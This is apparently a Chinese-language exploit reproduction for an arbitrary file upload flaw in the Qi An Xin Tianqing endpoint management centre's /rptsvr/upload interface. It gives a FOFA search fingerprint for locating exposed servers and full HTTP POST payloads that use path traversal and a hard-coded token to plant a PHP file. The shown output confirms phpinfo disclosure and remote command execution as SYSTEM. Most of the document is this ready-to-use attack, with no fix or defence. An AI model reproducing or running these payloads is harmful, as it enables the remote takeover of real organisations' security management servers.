Q6-1奇安信-天擎-文件上传

漏洞描述：

奇安信 天擎管理中心 rptsvr接口存在任意文件上传漏洞，可上传恶意文件至服务器，执行脚本文件可远程命令执行，造成服务器失陷。

影响版本：

version <=V6.7.0.4130

网站图片：

网络测绘：

fofa语法：

FOFA：icon_hash="-829652342"

漏洞复现：

payload：

```
POST /rptsvr/upload HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (MacintoshT2lkQm95Rw==; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1944.0 Safari/537.36
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.5
Content-Type: multipart/form-data;boundary=----------------------------554334774428148185027924214 60
Upgrade-Insecure-Requests: 1

----------------------------554334774428148185027924214 60
Content-Disposition: form-data; name="uploadfile"; filename="../../../application/api/controllers/a.php"
Content-Type: text/x-python

<?php phpinfo();?>
----------------------------554334774428148185027924214 60
Content-Disposition: form-data; name="token"

skylar_report
----------------------------554334774428148185027924214 60
```

效果图:

Request

数据包扫描 热加载 构造请求

```
POST /rptsvr/upload HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (MacintoshT2lkQm95Rw==; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1944.0 Safari/537.36
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.5
Content-Type: multipart/form-data;boundary=--------------------------554334774428148185027924214 60
Upgrade-Insecure-Requests: 1

----------------------------554334774428148185027924214 60
Content-Disposition: form-data; name="uploadfile"; filename="../../../application/api/controllers/a.php"
Content-Type: text/x-python

<?php phpinfo();?>
----------------------------554334774428148185027924214 60
Content-Disposition: form-data; name="token"

skylar_report
----------------------------554334774428148185027924214 60
```

Responses https 42bytes / 4

```
HTTP/1.1 200 OK
Date: Tue, 16 Jan 2024
Content-Type: text/pla
Connection: close
Server: 360 web server
Content-Length: 42

{"result":"success",
```

验证url

/application/api/controllers/a.php

不安全 https /application/api/controllers/a.php

PHP Version 5.6.37

System	Windows NT WIN-746GGF6HH08 6.1 build 7601 (Wind 1) i586
Build Date	Jul 19 2018 18:36:17
Compiler	MSVC11 (Visual C++ 2012)
Architecture	x86
Configure Command	cscript /nologo configure.js "--enable-snapshot-build" isapi" "--disable-nsapi" "--without-mssql" "--without-p oci=c:\php-sdk\oracle\x86\instantclient_12_1\sdk,shar sdk\oracle\x86\instantclient_12_1\sdk,shared" "--with- "--enable-com-dotnet=shared" "--with-mcrypt=static"
Server API	CGI/FastCGI
Virtual Directory Support	disabled
Configuration File (php.ini) Path	C:\Windows
Loaded Configuration File	C:\Program Files (x86)\360\skylar6\php\php.ini
Scan this dir for additional .ini files	(none)
Additional .ini files parsed	(none)
PHP API	20131106
PHP Extension	20131226
Zend Extension	220131226

RCE

Request

数据包扫描 热加载 构造请求

```
POST /rptsvr/upload HTTP/1.1
Host: [redacted]
User-Agent: Mozilla/5.0 (MacintoshT2lkQm95Rw==; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1944.0 Safari/537.36
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.5
Content-Type: multipart/form-data;boundary=----------------------------554334774428148185027924214 60
Upgrade-Insecure-Requests: 1

----------------------------554334774428148185027924214 60
Content-Disposition: form-data; name="uploadfile"; filename="../../../application/api/controllers/a.php"
Content-Type: text/x-python

<?php system("whoami");?>
----------------------------554334774428148185027924214 60
Content-Disposition: form-data; name="token"

skylar_report
----------------------------554334774428148185027924214 60
```

Responses http

```
HTTP/1.1
Date: Tu
Content-
Connecti
Server:
Content-

{"result
```

nt authority\system